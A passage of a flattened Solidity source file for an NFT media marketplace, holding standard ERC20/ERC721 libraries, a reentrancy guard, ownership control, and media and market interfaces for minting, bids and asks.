bytes calldata data) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 constant BASE_POW = 18; uint256 constant BASE = 10**BASE_POW; // ============ Structs ============ struct D256 { uint256 value; } // ============ Functions ============ function one() internal pure returns (D256 memory) { return D256({value: BASE}); } function onePlus(D256 memory d) internal pure returns (D256 memory) { return D256({value: d.value.add(BASE)}); } function mul(uint256 target, D256 memory d) internal pure returns (uint256) { return Math.getPartial(target, d.value, BASE); } function div(uint256 target, D256 memory d) internal pure returns (uint256) { return Math.getPartial(target, BASE, d.value); } } contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } interface IMedia { struct EIP712Signature { uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct MediaData { // A valid URI of the content represented by this token string tokenURI; // A valid URI of the metadata associated with this token string metadataURI; // A SHA256 hash of the content pointed to by tokenURI bytes32 contentHash; // A SHA256 hash of the content pointed to by metadataURI bytes32 metadataHash; } event TokenURIUpdated(uint256 indexed _tokenId, address owner, string _uri); event TokenMetadataURIUpdated( uint256 indexed _tokenId, address owner, string _uri ); /** * @notice Return the metadata URI for a piece of media given the token URI */ function tokenMetadataURI(uint256 tokenId) external view returns (string memory); /** * @notice Mint new media for msg.sender. */ function mint(MediaData calldata data, IMarket.BidShares calldata bidShares) external; /** * @notice EIP-712 mintWithSig method. Mints new media for a creator given a valid signature. */ function mintWithSig( address creator, MediaData calldata data, IMarket.BidShares calldata bidShares, EIP712Signature calldata sig ) external; /** * @notice Transfer the token with the given ID to a given address. * Save the previous owner before the transfer, in case there is a sell-on fee. * @dev This can only be called by the auction contract specified at deployment */ function auctionTransfer(uint256 tokenId, address recipient) external; /** * @notice Set the ask on a piece of media */ function setAsk(uint256 tokenId, IMarket.Ask calldata ask) external; /** * @notice Remove the ask on a piece of media */ function removeAsk(uint256 tokenId) external; /** * @notice Set the bid on a piece of media */ function setBid(uint256 tokenId, IMarket.Bid calldata bid) external; /** * @notice Remove the bid on a piece of media */ function removeBid(uint256 tokenId) external; function getTreasurerAddress() external view returns(address); function owner() external view returns(address); function authorize(address _address) external view returns(bool); function acceptBid(uint256 tokenId, IMarket.Bid calldata bid) external; /** * @notice Revoke approval for a piece of media */ function revokeApproval(uint256 tokenId) external; /** * @notice Update the token URI */ function updateTokenURI(uint256 tokenId, string calldata tokenURI) external; /** * @notice Update the token metadata uri */ function updateTokenMetadataURI( uint256 tokenId, string calldata metadataURI ) external; /** * @notice EIP-712 permit method. Sets an approved spender given a valid signature. */ function permit( address spender, uint256 tokenId, EIP712Signature calldata sig ) external; } interface IMarket { struct Bid { // Amount of the currency being bid uint256 amount; // Address to the ERC20 token being used to bid address currency; // Address of the bidder address bidder; // Address of the recipient address recipient; // % of the next sale to award the current owner Decimal.D256 sellOnShare; } struct Ask { // Amount of the currency being asked uint256 amount; // Address to the ERC20 token being asked address currency; } struct BidShares { // % of sale value that goes to the _previous_ owner of the nft Decimal.D256 prevOwner; // % of sale value that goes to the original creator of the nft Decimal.D256 creator; // % of sale value that goes to the seller (current owner) of the nft Decimal.D256 owner; } event BidCreated(uint256 indexed tokenId, Bid bid); event BidRemoved(uint256 indexed tokenId, Bid bid); event BidFinalized(uint256 indexed tokenId, Bid bid); event AskCreated(uint256 indexed tokenId, Ask ask); event AskRemoved(uint256 indexed tokenId, Ask ask); event BidShareUpdated(uint256 indexed tokenId, BidShares bidShares); function bidForTokenBidder(uint256 tokenId, address bidder) external view returns (Bid memory); function currentAskForToken(uint256 tokenId) external view returns (Ask memory); function bidSharesForToken(uint256 tokenId) external view returns (BidShares memory); function isValidBid(uint256 tokenId, uint256 bidAmount) external view returns (bool); function isValidBidShares(BidShares calldata bidShares) external pure returns (bool); function splitShare(Decimal.D256 calldata sharePercentage, uint256 amount) external pure returns (uint256); function configure(address mediaContractAddress) external; function setBidShares(uint256 tokenId, BidShares calldata bidShares) external; function setAsk(uint256 tokenId, Ask calldata ask) external; function removeAsk(uint256 tokenId) external; function setBid( uint256 tokenId, Bid calldata bid, address spender ) external; function removeBid(uint256 tokenId, address bidder) external; function acceptBid(uint256 tokenId, Bid calldata expectedBid) external; } library Math { using SafeMath for uint256; // ============ Library Functions ============ /* * Return target * (numerator / denominator). */ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { return target.mul(numerator).div(denominator); } /* * Return target * (numerator / denominator), but rounded up. */ function getPartialRoundUp( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (target == 0 || numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return target.mul(numerator).sub(1).div(denominator).add(1); } function to128(uint256 number) internal pure returns (uint128) { uint128 result = uint128(number); require(result == number, "Math: Unsafe cast to uint128"); return result; } function to96(uint256 number) internal pure returns (uint96) { uint96 result = uint96(number); require(result == number, "Math: Unsafe cast to uint96"); return result; } function to32(uint256 number) internal pure returns (uint32) { uint32 result = uint32(number); require(result == number, "Math: Unsafe cast to uint32"); return result; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) internal _tokenURIs; // Base URI string internal _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get( tokenId, "ERC721: owner query for nonexistent token" ); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require( _exists(tokenId), "ERC721Metadata: URI set of nonexistent token" ); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall( abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer" ); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) internal { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved" ); _burn(tokenId); } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(),"Ownable: caller is not the SuperAdmin"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0),"Ownable: new SuperAdmin is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Authorizable is Ownable { mapping(address => 